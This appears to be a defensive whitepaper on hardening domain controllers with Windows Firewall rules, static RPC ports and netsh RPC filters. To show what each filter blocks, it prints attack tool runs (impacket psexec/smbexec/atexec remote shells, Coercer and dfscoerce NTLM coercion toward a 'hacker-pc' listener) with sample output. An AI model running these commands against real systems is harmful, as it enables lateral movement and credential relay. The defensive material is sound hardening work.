Domain Controller Firewall

Change History

Script files referenced by this document are versioned independently:

Glossary

Summary

Windows Firewall with Advanced Security can sometimes be tricky to configure securely. As a consequence, it is usually disabled or left open for all traffic in many organizations. The Domain Controller Firewall project therefore aims to simplify the deployment of a specific set of firewall rules and RPC filters that can significantly reduce the attack surface of Domain Controllers (DCs), without impacting the functionality of Active Directory (AD).

The purpose of this whitepaper is to serve as a comprehensive source of Windows Firewall-related information. It includes detailed information about Windows Firewall configuration options, network protocols, configuration caveats, and network-based attacks. Most importantly, it provides guidance on configuring Windows Firewall with Advanced Security in enterprise environments to make them more secure.

To streamline the host-based firewall configuration process, we have also created the DCFWTool as part of this project. This PowerShell-based tool provides a flexible and repeatable way of deploying a secure DC firewall configuration within minutes. The functionality and configuration options of the DCFWTool are described in this document as well.

About the Authors

Michael Grafnetter is a Microsoft MVP and expert on Windows security and PowerShell. He is best known for inventing the Shadow Credentials attack primitive and creating the Directory Services Internals (DSInternals) PowerShell module. He is also the author of the Delinea Weak Password Finder (formerly Thycotic) and the DSInternals.Passkeys PowerShell module.

Michael enjoys sharing his knowledge during Active Directory security assessments, workshops, and tech talks. He presented his security research at many international conferences, including Black Hat Europe, BSides Lisbon, HipConf New York, SecTor Canada, and TROOPERS.

Pavel Formanek is the CTO and co-founder of Cloudi Support, which helps customers to secure their infrastructure, both on-prem and in the cloud. Prior to founding the company, Pavel worked many years at Microsoft as a Premier Field Engineer (PFE), responsible for security assessments and healthchecks of the largest EMEA Microsoft customers. He also created and delivered dozens of training sessions over the years.

Secure Firewall Policy Design

Overview

There are many decisions one needs to make when designing a firewall policy for domain controllers. This chapter contains general recommendations on Windows Firewall configuration, including the reasoning behind them.

When creating your own DC firewall policy, you do not need to start from scratch. Instead, you can use the DCFWTool, which will generate a GPO that implements all these recommendations.

Host-Based Firewall vs Network-Based Firewall

Most network administrators only configure network-based firewalls and turn off the Windows Firewall on servers. They reason is that they do not want to maintain duplicate sets of firewall rules and that Windows Firewall rule management is cumbersome and inflexible.

There are several security issues with this approach:

• As network-based firewalls only filter traffic between networks, they are incapable of blocking lateral movement inside of VLANs. Their functionality might further be degraded by poor network segmentation.
• The majority of network firewalls are incapable of differentiating between various RPC-based protocols, most of which use dynamic port numbers. Thus, the entire ephemeral TCP port range (49152-65535) is typically accessible on domain controllers from the entire corporate network, regardless of whether a particular port is used by the Netlogon service or for remote management of scheduled tasks.
• Network-based firewalls are commonly managed by dedicated teams that might lack the required advanced Windows knowledge.

The best practice is thus to configure both the network-based firewall and host-based firewall. Internet traffic should additionally be filtered by proxy servers.

This whitepaper only focuses on the secure configuration of host-based firewalls, i.e., Windows Defender Firewall with Advanced Security, on domain controllers. However, the Inbound Firewall Rules Reference chapter might also serve as an information source for configuring network-based firewalls.

Need for Scripting

As the Windows Firewall does not provide the ability to create named IP address sets, e.g., Management VLANs, manual (re)configuration of firewall rules and their source IP address ranges is cumbersome and error-prone. We have additionally noticed that port numbers are sometimes mangled while copying firewall rules between policy objects. It is therefore strongly recommended that PowerShell scripts be used manage Windows Firewall rules, which is what the DCFWTool does.

Static IP Addresses

Domain controllers should be configured with static IP addresses, as recommended by Microsoft. Failure to do so might cause network outages and would further complicate the firewall configuration. The firewall rule set described in this document therefore does not cover the DHCP client traffic.

Firewall Rule Merging

To ensure the domain controllers are configured consistently, their host-based firewalls should be managed centrally through a GPO. Any local settings on individual DCs should be ignored during firewall rule evaluation.

This whitepaper and the policy object created by the DCFWTool only cover traffic related to domain controllers and a few additional Windows Server roles often present on DCs. If additional environment-specific firewall rules are needed (DC agents, SCCM management, etc.), it is recommended to define them in separate GPOs. The resulting firewall rule set, which will be honored by the DCs, will contain rules from all GPOs applied to these DCs.

Identifying Management Traffic

Motivation

Any proper DC firewall rule design requires that administrators are able to define the following groups of IP addresses or network ranges:

• Client network (servers and client computers)
• Management network (endpoints used for Tier 0 administration)
• Domain Controller network (all DCs in the forest)

Ideally, protocols that could be (mis)used for remote command execution, should only be open from the management network(s). Similarly, replication traffic should only be allowed to originate from other domain controllers. However, not all network protocols can be categorized easily.

The Good

With some protocols, it is quite obvious that they should only be available from management networks or jump servers. This is the case with the Remote Desktop Protocol (RDP) or Remote Event Log Management.

The Bad

Several protocols should primarily be used for remote system management, but some organizations also use them for client traffic.

One such example is the Windows Remote Management (WinRM) protocol. Contrary to its name, it can not only be used by Server Manager and PowerShell Remoting, but also by source-initiated Windows Event Collector subscriptions. As a best practice, domain controllers should not be used as event forwarding targets, especially not by workstations. AD domains, where this recommendation is not followed, must first be reconfigured before the strict firewall rules are applied to domain controllers.

Another example would be Active Directory Web Services (ADWS). It is rare, but not unimaginable, to see legitimate PowerShell scripts with the Get-ADUser cmdlet running on client machines. Such scripts would stop working if ADWS is simply blocked on domain controllers. On the other hand, it is relatively easy to rewrite these scripts to use the built-in DirectorySearcher class, which relies on the LDAP protocol instead of ADWS. The added value would be the removal of the ActiveDirectory PowerShell module dependency.

If an organization still uses the standalone Managed Service Accounts (MSAs), application servers need ADWS connectivity for MSA enrollment using the Install-ADServiceAccount PowerShell cmdlet. Migration to Group Managed Service Accounts (gMSAs), which do not depend on this cmdlet, is highly recommended.

The Ugly

Unfortunately, there are some protocols that are required by all Windows clients, but can also be (mis)used to perform administrative operations.

One would be highly tempted to limit the Directory Replication Service (DRS) Remote Protocol traffic to domain controllers and thus block potential DCSync attacks. Unfortunately, this protocol is also used by Windows clients during user logon, specifically its IDL_DRSCrackNames RPC call, so it cannot simply be blocked by an L3 firewall rule. One solution to this problem would be the deployment of the open-source RPC Firewall tool, which can selectively limit the scope of the dangerous IDL_DRSGetNCChanges operation. However, the project does not seem to be mature enough for production deployments. Its installation and configuration are cumbersome and require deep understanding of the RPC protocol. Moreover, the binaries are not digitally signed, making them incompatible with some optional Windows security features, including LSA Protection. As a result, the most common approach is to just monitor domain controllers for unexpected replication traffic. Many products in the Identity Threat Detection and Response (ITDR) category are able to detect the DCSync attack, including Microsoft Defender for Identity and Netwrix Threat Manager.

The protocol that causes the most confusion among network administrators is undeniably the Server Message Block (SMB). Although its primary use is for file and printer sharing, it can also be used for remote system management through various RPC-based protocols. Because the functionality of AD heavily depends on the SYSVOL and NETLOGON file shares on domain controllers, the SMB protocol cannot simply be blocked on DCs. Deep packet inspection has also become less effective with the advent of SMBv3 encryption. Our approach to this issue is to selectively block remote management over SMB named pipes.

Also worth mentioning is the Lightweight Directory Access Protocol (LDAP), which gives Active Directory its name. It can surely be used for administrative operations, e.g., privileged group membership changes, but at least it does not provide the capability to directly execute arbitrary code on DCs. And with a well-configured SIEM or an ITDR solution, modifications of sensitive AD objects can be detected in almost real time.

Firewall Rule Deduplication

Many of the built-in/predefined Windows Firewall rules are actually duplicates of each other, as they open the same ports, even though their names might suggest otherwise. For example, all of the following rules open port 135/TCP for the rpcss service:

• RPC Endpoint Mapper (TCP, Incoming)
• Active Directory Domain Controller (RPC-EPMAP)
• Microsoft Key Distribution Service (RPC EPMAP)
• DFS Replication (RPC-EPMAP)
• File Replication (RPC-EPMAP)
• File Server Remote Management (DCOM-In)
• Remote Service Management (RPC-EPMAP)
• Remote Scheduled Tasks Management (RPC-EPMAP)
• Remote Event Log Management (RPC-EPMAP)
• Remote Event Monitor (RPC-EPMAP)
• Remote Volume Management (RPC-EPMAP)
• Windows Defender Firewall Remote Management (RPC-EPMAP)
• Windows Management Instrumentation (DCOM-In)
• DFS Management (DCOM-In)
• COM+ Remote Administration (DCOM-In)
• COM+ Network Access (DCOM-In)
• Performance Logs and Alerts (DCOM-In)

Similarly, all of these firewall rules open port 445/TCP for System:

• File and Printer Sharing (SMB-In)
• Active Directory Domain Controller - SAM/LSA (NP-TCP-In)
• Netlogon Service (NP-In)
• File Server Remote Management (SMB-In)
• DFS Management (SMB-In)
• Remote Event Log Management (NP-In)
• Remote Service Management (NP-In)

Moreover, both ports 135 and 445 need to be accessible by all Windows clients for Active Directory to function properly. To keep the configuration readable, it is reasonable to consolidate the redundant rules and to create a single firewall rule for each static port number.

Issues with Predefined Address Sets

Overview of Keywords

In addition to manually enumerating IP address ranges, the firewall rule scope configuration allows the use of predefined sets of computers, known as keywords.

These keywords are briefly described in the MS-FASP: Firewall and Advanced Security Protocol document. However, no public documentation is available that explains how the keywords are defined and under what circumstances the corresponding IP addresses are updated.

Intranet

The Intranet keyword is based on the Subnet definition from Active Directory Sites and Services. However, our tests have shown that the corresponding firewall rule scopes are not re-evaluated after adding or deleting a subnet. Even multiple server reboots do not seem to resolve this issue. Due to this unreliability, we have decided not to use the Intranet keyword in any firewall rules.

Internet

The Internet keyword is presumed to include anything not defined as the Intranet keyword. However, due to the unpredictable and undocumented behavior of the Intranet keyword, we have decided not to use the Internet keyword in any firewall rules as well.

DNS Servers

The DNS Servers keyword is functional and respects all DNS servers defined in the network adapter properties. If a new DNS server IP address is configured, a network adapter state change (disable/enable, server restart, etc.) is required for the corresponding firewall rules to be automatically updated.

Additional Keywords

Additional keywords are available and although they seem to be mostly working, they are not relevant to inbound firewall rule configuration for Domain Controller:

• Local subnet
• DHCP servers
• WINS servers
• Default gateway
• Remote Corp Network
• PlayTo Renderers
• Captive Portal Addresses

Avoiding Localized Rule Names

All of the built-in firewall rules are localized and displayed based on the OS language. However, this feature relies on RSAT being installed on the management computer. If RSAT is absent, the UI may show references to missing DLL files instead of the actual firewall rule display names.

To ensure consistent firewall rule name display regardless of RSAT or the OS locale, all rule names should be hardcoded in the PowerShell script creating them.

Firewall Profiles

Windows Firewall differentiates between three network profiles that can be targeted by firewall rules:

• The Domain profile applies to networks where the host system can authenticate to a domain controller.
• The Private profile is used to designate private or home networks.
• The Public profile is used to designate public networks such as Wi-Fi hotspots at coffee shops, airports, and other locations.

Network interfaces of Domain Controllers and other computers on corporate networks are automatically assigned the Domain profile. However, the assignment of this profile depends on the Microsoft Windows Network Location Awareness (NLA) functioning properly. Under specific circumstances, usually during recovery scenarios or complete power outages, NLA can improperly detect the network type during the system startup and thus activate a wrong firewall profile.

It is therefore highly recommended to configure all firewall rules on DCs to target all 3 network profiles, to avoid potential loss of network connectivity.

Infeasibility of Outbound Traffic Filtering

Reasons for Blocking Outbound Traffic

Generally speaking, outbound firewall rules on domain controllers might play an important role in blocking NTLM relay through workstations, preventing lateral movement, breaking malware C2 channels, and mitigating the risk of data breaches.

On the other hand, all of the security standards we are familiar with state that Windows Firewall should allow outbound connections by default. The CIS benchmark provides this rationale:

Some people believe that it is prudent to block all outbound connections except those specifically approved by the user or administrator. Microsoft disagrees with this opinion, blocking outbound connections by default will force users to deal with a large number of dialog boxes prompting them to authorize or block applications such as their web browser or instant messaging software. Additionally, blocking outbound traffic has little value because if an attacker has compromised the system they can reconfigure the firewall anyway.

Furthermore, our security research has shown that configuring a reliable allow list for outbound traffic using the built-in features of Windows is impractical. We have identified several challenges that make it difficult to implement such a list.

Services with User Impersonation

The following important Windows services initiate outbound connections, yet they locally impersonate the currently logged-on user, making it impossible to target them in service-specific Windows Firewall rules:

• Windows Update (wuauserv)
• Cryptographic Services (CryptSvc)
• Background Intelligent Transfer Service (BITS)

This means that in order to keep Windows Update working, one would need to target the svchost.exe program in a firewall rule, thus allowing all services to connect to remote computers.

Scheduled Tasks with Custom Handlers

Some scheduled task actions are implemented using a custom DLL handler. As a result, the corresponding firewall rule would need to target the taskhostw.exe program, thus allowing all scheduled tasks to connect to remote computers.

Microsoft Defender for Identity

The Network Name Resolution and Lateral Movement Path Detection capabilities of Microsoft Defender for Identity depend on the domain controllers being able to connect over the RDP (TCP port 3389), RPC (TCP port 135), NetBIOS (UDP port 137), and SMB (TCP port 445) protocols to all workstations. It would thus be impossible to fully mitigate NTLM relay attacks against domain controllers using outbound firewall rules in environments with this product deployed. Moreover, the sensor needs to be able to communicate with Microsoft’s servers as well.

Azure Arc

Large organizations might want to utilize the new hotpatching capability of Windows Server 2025. However, this feature is only available on servers managed by Azure Arc. And the Azure Arc Agent contains several binaries and PowerShell scripts, which all need to be able to communicate with Microsoft’s cloud, but their exact behavior is undocumented and subject to change.

Interestingly, the Azure Arc installer creates a custom outbound firewall rule called SmeOutboundOpenException, which targets all processes and is scoped to a hardcoded list of Microsoft’s IP addresses. It is unclear how reliable and future-proof this rule actually is, as even Google has never heard of it.

Installers Downloading Additional Files

Many application installers (setup.exe or setup.msi) do not work in a fully offline mode, as they need to download some prerequisites from the Internet. Microsoft .NET Framework and Visual C++ Runtime seem to be the most common installer dependencies. Then there are so-called web installers, which download all application binaries from online sources. As installers do not have well-defined names and can be executed from any location, it is impossible to selectively cover them by a firewall rule.

Dynamic Keywords

Windows Firewall includes a functionality called dynamic keywords, which simplifies the management of Windows Firewall. This feature allows administrators to define the following types of keywords, which can then be referenced by firewall rules:

• Set of IP address ranges
• Fully qualified domain names (FQDNs)
• Autoresolution options

As the dynamic keywords cannot be referenced in firewall rules managed by Group Policies, we have decided not to use them in our configuration.

WinHTTP Proxy

After we verified that it was indeed impossible to selectively filter outbound Internet traffic on domain controllers using Windows Firewall in a reliable way, we turned our attention to the built-in WinHTTP proxy. The idea was to compile a list of all cloud endpoints used by Windows Server components and to configure the local WinHTTP proxy to only allow outbound HTTP(S) connections to these endpoints while acting as a black hole for any other outbound traffic.

Although this approach seemed promising initially, we soon stumbled upon a few difficulties: The advanced WinHTTP proxy settings lack proper documentation and the ever-changing list of Microsoft’s cloud services used by Windows Server turned out to be too large for us to maintain. And when the netsh.exe winhttp reset autoproxy stopped working repeatedly and manual registry cleanup was necessary to fix this issue, we definitely abandoned the idea of using WinHTTP proxy on domain controllers.

Escaping the Rabbit Hole

As a conclusion, the only viable and secure solution is to deploy 3rd-party Internet proxy servers that would limit the outbound traffic from domain controllers to select FQDNs. This list of approved addresses used by Microsoft’s services should ideally be kept up-to-date by the proxy vendor.

Some Windows Server components that generate non-essential outbound Internet traffic can easily be turned off. For example, many enterprises choose to turn off telemetry and P2P delivery of Windows updates.

To at least block outbound traffic to known malicious IP addresses and URLs directly on the host, it is recommended to turn on the Network protection feature of the built-in Microsoft Defender Antivirus. Thus far, we have not noticed any adverse effects of enabling this functionality on domain controllers.

And then there are of course air-gapped (isolated) environments, in which the growing number of cloud-dependent Windows Server features will never be used, thus eliminating the need to differentiate between legitimate and potentially malicious Internet traffic.

Static RPC Ports

Several Windows services that use RPC dynamic ports by default can be configured to listen on static port numbers instead. This allows for easier tracing and troubleshooting at the network level and simplifies rule configuration for network-based firewalls.

Static endpoints of some protocols can be set by modifying the registry. This is the case with the Active Directory (NTDS) service:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
Value name: TCP/IP Port
Value type: REG_DWORD
Value data: (available port)

The related Netlogon service needs to be configured separately:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters
Value name: DCTcpipPort
Value type: REG_DWORD
Value data: (available port)

A static TCP port can be configured for the legacy File Replication Service (FRS) through the registry as well:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTFRS\Parameters
Value name: RPC TCP/IP Port Assignment
Value type: REG_DWORD
Value data: (available port)

To simplify the deployment of the registry settings above, the custom DomainControllerFirewall.admx template has been created as part of this project.

Additional static RPC ports can be set using built-in command line tools, most importantly for the Distributed File System Replication (DFSR):

dfsrdiag.exe StaticRPC /Port:<available port>

We recommend using port 5722, which was allocated for DFSR in Windows Server 2008 and Windows Server 2008 R2, before the service was changed to use a random port number in Windows Server 2012. As the dfsrdiag tool is not available on DCs by default, it must first be installed using the following command:

dism.exe /Online /Enable-Feature /FeatureName:DfsMgmt

The Windows Management Instrumentation (WMI) protocol can also be configured to use a static TCP port. The next command will move the WMI service to a standalone process listening on TCP port 24158, with the authentication level set to RPC_C_AUTHN_LEVEL_PKT_PRIVACY:

winmgmt.exe /standalonehost 6

In order to maintain uniform configuration across all domain controllers, these commands are recommended to be executed from startup scripts targeting DCs.

Here is a mnemotechnical example of a static RPC port configuration:

References:

• How to restrict Active Directory RPC traffic to a specific port
• Configuring DFSR to a Static Port - The rest of the story
• Setting Up a Fixed Port for WMI
• RPC Load Balancing Best Practices

RPC Filters

RPC over Named Pipes

Most RPC protocols implemented in Windows support two transport types:

• RPC over TCP/IP (ncacn_ip_tcp)
• RPC over SMB Named Pipes (ncacn_np)

Each Windows service that uses the TCP/IP transport is assigned its own RPC dynamic port and in some cases, static ports can be configured. Windows Firewall rules can then target services by their identifiers or program paths and either allow or block service-specific inbound traffic. It is thus possible to only allow remote management traffic from specific IP addresses.

The named pipes transport is more problematic, as standard Windows Firewall rules can only allow or block all SMB traffic (445/TCP) and Active Directory functionality heavily depends on the SYSVOL and NETLOGON file shares being available over the SMB protocol to all Windows clients. The SMB protocol is therefore very popular among malicious actors and many off-the-shelf hacktools exclusively use the named pipes to perform remote code execution and other undesirable operations.

Fortunately, it is possible to use the RPC Filters, a lesser-known feature of the Windows Firewall, to partially limit undesirable RPC traffic. There is no graphical user interface for RPC Filters, but a subset of their capabilities can be configured using the netsh.exe tool. Each RPC protocol must be dealt with individually.

[MS-SCMR]: Service Control Manager Remote Protocol

The [MS-SCMR]: Service Control Manager Remote Protocol with UUID 367ABB81-9844-35F1-AD32-98F038001003 is used by the built-in services.msc console and the sc.exe utility to remotely manage Windows services:

sc.exe \\dc01 query wuauserv

SERVICE_NAME: wuauserv
        TYPE               : 20  WIN32_SHARE_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

While the built-in Windows tools use the TCP/IP transport, hacktools commonly utilize the \PIPE\svcctl SMB named pipe to execute code on remote systems:

impacket-psexec 'contoso/Admin:Pa$$w0rd@dc01'

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on dc01.....
[*] Found writable share ADMIN$
[*] Uploading file vQfMdUbQ.exe
[*] Opening SVCManager on dc01.....
[*] Creating service hOdT on dc01.....
[*] Starting service hOdT.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.2340]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Multiple variants of this attack exist:

impacket-smbexec 'contoso/Admin:Pa$$w0rd@dc01'

Impacket v0.11.0 - Copyright 2023 Fortra

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>

The following sequence of netsh.exe commands can be used to block MS-SCMR connections over named pipes, while still allowing the TCP/IP traffic used by legitimate tools:

rpc filter
add rule layer=um actiontype=block filterkey=d0c7640c-9355-4e52-8335-c12835559c10
add condition field=protocol matchtype=equal data=ncacn_np
add condition field=if_uuid matchtype=equal data=367ABB81-9844-35F1-AD32-98F038001003
add filter

[MS-TSCH]: Task Scheduler Service Remoting Protocol

The [MS-TSCH]: Task Scheduler Service Remoting Protocol with UUID 86D35949-83C9-4044-B424-DB363231FD0C is used by the built-in taskschd.msc console and the schtasks.exe utility to remotely manage scheduled tasks:

schtasks.exe /query /s dc01 /tn "\Microsoft\Windows\BitLocker\BitLocker Encrypt All Drives"

Folder: \Microsoft\Windows\BitLocker
TaskName                                 Next Run Time          Status
======================================== ====================== ===============
BitLocker Encrypt All Drives             N/A                    Ready

While the built-in Windows tools use the TCP/IP transport, hacktools commonly utilize the \PIPE\atsvc SMB named pipe to execute code on remote systems:

impacket-atexec 'contoso/Admin:Pa$$w0rd@dc01' hostname

Impacket v0.11.0 - Copyright 2023 Fortra

[!] This will work ONLY on Windows >= Vista
[*] Creating task \ZNSsJjLS
[*] Running task \ZNSsJjLS
[*] Deleting task \ZNSsJjLS
[*] Attempting to read ADMIN$\Temp\ZNSsJjLS.tmp
DC01

Two additional interfaces with UUIDs 1FF70682-0A51-30E8-076D-740BE8CEE98B and 378E52B0-C0A9-11CF-822D-00AA0051E40F are exposed through the \PIPE\atsvc pipe and are only used by the legacy at.exe command line tool.

The following sequence of netsh.exe commands will block MS-TSCH connections over named pipes, while still allowing the TCP/IP traffic used by legitimate tools:

rpc filter

add rule layer=um actiontype=block filterkey=a43b9dd2-0866-4476-89dc-2e9b200762af
add condition field=protocol matchtype=equal data=ncacn_np
add condition field=if_uuid matchtype=equal data=86D35949-83C9-4044-B424-DB363231FD0C
add filter

add rule layer=um actiontype=block filterkey=13518c11-e3d8-4f62-9461-eda11beb540a
add condition field=if_uuid matchtype=equal data=1FF70682-0A51-30E8-076D-740BE8CEE98B
add filter

add rule layer=um actiontype=block filterkey=1c079a18-e91f-4698-9868-68a121490636
add condition field=if_uuid matchtype=equal data=378E52B0-C0A9-11CF-822D-00AA0051E40F
add filter

[MS-EVEN6]: EventLog Remoting Protocol Version 6.0

The [MS-EVEN6]: EventLog Remoting Protocol Version 6.0 with UUID F6BEAFF7-1E19-4FBB-9F8F-B89E2018337C is used by the built-in eventvwr.msc console and the wevtutil.exe command line tool to remotely query and manage Windows event logs:

wevtutil.exe /r:dc01 qe Security /c:1 /f:text

Malicious actors might use this protocol to clear security event logs remotely and thus cover their tracks. The following sequence of netsh.exe commands will block MS-EVEN6 connections over named pipes, while still allowing the TCP/IP traffic used by legitimate tools:

rpc filter
add rule layer=um actiontype=block filterkey=dedffabf-db89-4177-be77-1954aa2c0b95
add condition field=protocol matchtype=equal data=ncacn_np
add condition field=if_uuid matchtype=equal data=f6beaff7-1e19-4fbb-9f8f-b89e2018337c
add filter

[MS-EVEN]: EventLog Remoting Protocol

The [MS-EVEN]: EventLog Remoting Protocol with UUID 82273FDC-E32A-18C3-3F78-827929DC23EA is an older version of the MS-EVEN6 protocol described above.

The protocol is only exposed over the \PIPE\eventlog named pipe and might be abused by malicious actors to initiate NTLM relay attacks:

coercer coerce --username john --password 'Pa$$w0rd' --domain 'contoso.com' --target-ip 'dc01.contoso.com' --listener-ip hacker-pc --always-continue --filter-protocol-name MS-EVEN --filter-transport msrpc

       ______
      / ____/___  ___  _____________  _____
     / /   / __ \/ _ \/ ___/ ___/ _ \/ ___/
    / /___/ /_/ /  __/ /  / /__/  __/ /      v2.4.3
    \____/\____/\___/_/   \___/\___/_/       by @podalirius_

[info] Starting coerce mode
[info] Scanning target dc01.contoso.com
[+] SMB named pipe '\PIPE\eventlog' is accessible!
   [+] Successful bind to interface (82273fdc-e32a-18c3-3f78-827929dc23ea, 0.0)!
      [!] (NO_AUTH_RECEIVED) MS-EVEN──>ElfrOpenBELW(BackupFileName='\??\UNC\10.213.0.100\BvcavuA5\aa')
[+] All done! Bye Bye!

The following sequence of netsh.exe commands will block the legacy MS-EVEN protocol traffic entirely:

rpc filter
add rule layer=um actiontype=block filterkey=f7f68868-5f50-4cda-a18c-6a7a549652e7
add condition field=if_uuid matchtype=equal data=82273FDC-E32A-18C3-3F78-827929DC23EA
add filter

[MS-DFSNM]: Distributed File System (DFS): Namespace Management Protocol

The [MS-DFSNM]: Distributed File System (DFS): Namespace Management Protocol with UUID 4FC742E0-4A10-11CF-8273-00AA004AE673 is exposed over the \PIPE\netdfs named pipe and is often abused to initiate NTLM relay attacks:

python3 dfscoerce.py -u john -p 'Pa$$w0rd' -d contoso.com hacker-pc dc01

[-] Connecting to ncacn_np:dc01[\PIPE\netdfs]
[+] Successfully bound!
[-] Sending NetrDfsRemoveStdRoot!
NetrDfsRemoveStdRoot
ServerName:                      '10.213.0.100\x00'
RootShare:                       'test\x00'
ApiFlags:                        1

DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied

The following sequence of netsh.exe commands will restrict MS-DFSNM connections to the members of the Domain Admins group:

rpc filter

add rule layer=um actiontype=permit filterkey=43873c58-e130-4ffb-8858-d259a673a917
add condition field=if_uuid matchtype=equal data=4FC742E0-4A10-11CF-8273-00AA004AE673
add condition field=remote_user_token matchtype=equal data=D:(A;;CC;;;DA)
add filter

add rule layer=um actiontype=block filterkey=0a239867-73db-45e6-b287-d006fe3c8b18
add condition field=if_uuid matchtype=equal data=4FC742E0-4A10-11CF-8273-00AA004AE673
add filter

[MS-RPRN]: Print System Remote Protocol

The [MS-RPRN]: Print System Remote Protocol with UUID 12345678-1234-ABCD-EF00-0123456789AB is exposed over the \PIPE\spoolss named pipe and is a popular target for initiating NTLM relay attacks:

coercer coerce --username john --password 'Pa$$w0rd' --domain 'contoso.com' --target-ip dc01.contoso.com --listener-ip hacker-pc --filter-protocol MS-RPRN --always-continue

       ______
      / ____/___  ___  _____________  _____
     / /   / __ \/ _ \/ ___/ ___/ _ \/ ___/
    / /___/ /_/ /  __/ /  / /__/  __/ /      v2.4.3
    \____/\____/\___/_/   \___/\___/_/       by @podalirius_

[info] Starting coerce mode
[info] Scanning target dc01.contoso.com
[*] DCERPC portmapper discovered ports: 49664,49665,49666,49667,49668,54795,51120,51124,38901,38902,56954,5722
[+] DCERPC port '51120' is accessible!
   [+] Successful bind to interface (12345678-1234-ABCD-EF00-0123456789AB, 1.0)!
      [!] (NO_AUTH_RECEIVED) MS-RPRN──>RpcRemoteFindFirstPrinterChangeNotification( pszLocalMachine='\\10.213.0.100\x00')
      [!] (RPC_S_ACCESS_DENIED) MS-RPRN──>RpcRemoteFindFirstPrinterChangeNotificationEx( pszLocalMachine='\\10.213.0.100\x00')
[+] SMB named pipe '\PIPE\spoolss' is accessible!
   [+] Successful bind to interface (12345678-1234-abcd-ef00-0123456789ab, 1.0)!
      [!] (NO_AUTH_RECEIVED) MS-RPRN──>RpcRemoteFindFirstPrinterChangeNotification( pszLocalMachine='\\10.213.0.100\x00')
      [!] (RPC_S_ACCESS_DENIED) MS-RPRN──>RpcRemoteFindFirstPrinterChangeNotificationEx( pszLocalMachine='\\10.213.0.100\x00')
[+] All done! Bye Bye!

The primary solution to this vulnerability, commonly known as PrinterBug, is to disable the Print Spooler service on domain controllers. As an alternative, the following sequence of netsh.exe commands will block MS-RPRN connections over named pipes:

rpc filter
add rule layer=um actiontype=block filterkey=7966512a-f2f4-4cb1-812d-d967ab83d28a
add condition field=protocol matchtype=equal data=ncacn_np
add condition field=if_uuid matchtype=equal data=12345678-1234-ABCD-EF00-0123456789AB
add filter

[MS-EFSR]: Encrypting File System Remote (EFSRPC) Protocol

The [MS-EFSR]: Encrypting File System Remote (EFSRPC) Protocol is available over multiple named pipes:

This protocol is yet another popular target for initiating NTLM relay attacks:

coercer coerce --target-ip dc01 --listener-ip hacker-pc --username john --password 'Pa$$w0rd' --domain contoso.com --filter-transport msrpc --filter-pipe lsarpc --filter-method EfsRpcAddUsersToFileEx --always-continue

       ______
      / ____/___  ___  _____________  _____
     / /   / __ \/ _ \/ ___/ ___/ _ \/ ___/
    / /___/ /_/ /  __/ /  / /__/  __/ /      v2.4.3
    \____/\____/\___/_/   \___/\___/_/       by @podalirius_

[info] Starting coerce mode
[info] Scanning target dc01
[+] SMB named pipe '\PIPE\lsarpc' is accessible!
   [+] Successful bind to interface (c681d488-d850-11d0-8c52-00c04fd90f7e, 1.0)!
      [!] (RPC_S_ACCESS_DENIED) MS-EFSR──>EfsRpcAddUsersToFileEx(FileName='\\10.213.0.100\5jPfJ0a3\file.txt\x00')
      [!] (RPC_S_ACCESS_DENIED) MS-EFSR──>EfsRpcAddUsersToFileEx(FileName='\\10.213.0.100\OMEqbIHD\\x00')
      [!] (RPC_S_ACCESS_DENIED) MS-EFSR──>EfsRpcAddUsersToFileEx(FileName='\\10.213.0.100\sRuG4G51\x00')
      [!] (RPC_S_ACCESS_DENIED) MS-EFSR──>EfsRpcAddUsersToFileEx(FileName='\\10.213.0.100@80/ZVi\share\file.txt\x00')
[+] All done! Bye Bye!

In environments where EFS is not used, the MS-EFSR protocol could be disabled entirely. A more compatible approach would be to enforce Kerberos authentication and packet encryption on MS-EFSR connections. Although this solution is not bulletproof, it works against most hacktools. Here is the corresponding sequence of netsh.exe commands:

rpc filter

add rule layer=um actiontype=permit filterkey=d71d00db-3eef-4935-bedf-20cf628abd9e
add condition field=if_uuid matchtype=equal data=c681d488-d850-11d0-8c52-00c04fd90f7e
add condition field=auth_type matchtype=equal data=16
add condition field=auth_level matchtype=equal data=6
add filter

add rule layer=um actiontype=block filterkey=3a4cce27-a7fa-4248-b8b8-ef6439a2c0ff
add condition field=if_uuid matchtype=equal data=c681d488-d850-11d0-8c52-00c04fd90f7e
add filter

add rule layer=um actiontype=permit filterkey=c5cf8020-c83c-4803-9241-8c7f3b10171f
add condition field=if_uuid matchtype=equal data=df1941c5-fe89-4e79-bf10-463657acf44d
add condition field=auth_type matchtype=equal data=16
add condition field=auth_level matchtype=equal data=6
add filter

add rule layer=um actiontype=block filterkey=9ad23a91-085d-4f99-ae15-85e0ad801278
add condition field=if_uuid matchtype=equal data=df1941c5-fe89-4e79-bf10-463657acf44d
add filter

[MS-FSRVP]: File Server Remote VSS Protocol

The [MS-FSRVP]: File Server Remote VSS Protocol with UUID a8e0653c-2744-4389-a61d-7373df8b2292 is exposed by the File Server VSS Agent Service optional feature over the \PIPE\FssagentRpc named pipe.

In the past, this protocol could have been abused by the ShadowCoerce attack, but Microsoft fixed the corresponding vulnerability in KB5015527. No further action is therefore needed.

[MS-DNSP]: Domain Name Service (DNS) Server Management Protocol

The [MS-DNSP]: Domain Name Service (DNS) Server Management Protocol with UUID 50ABC2A4-574D-40B3-9D66-EE4FD5FBA076 is used by the built-in dnsmgmt.msc console and the dnscmd.exe utility to remotely manage DNS servers:

dnscmd.exe dc01 /EnumZones /Primary /Forward

Enumerated zone list:
        Zone count = 3

 Zone name                      Type       Storage         Properties
 _msdcs.contoso.com             Primary    AD-Forest       Secure
 contoso.com                    Primary    AD-Domain
 TrustAnchors                   Primary    AD-Forest

Command completed successfully.

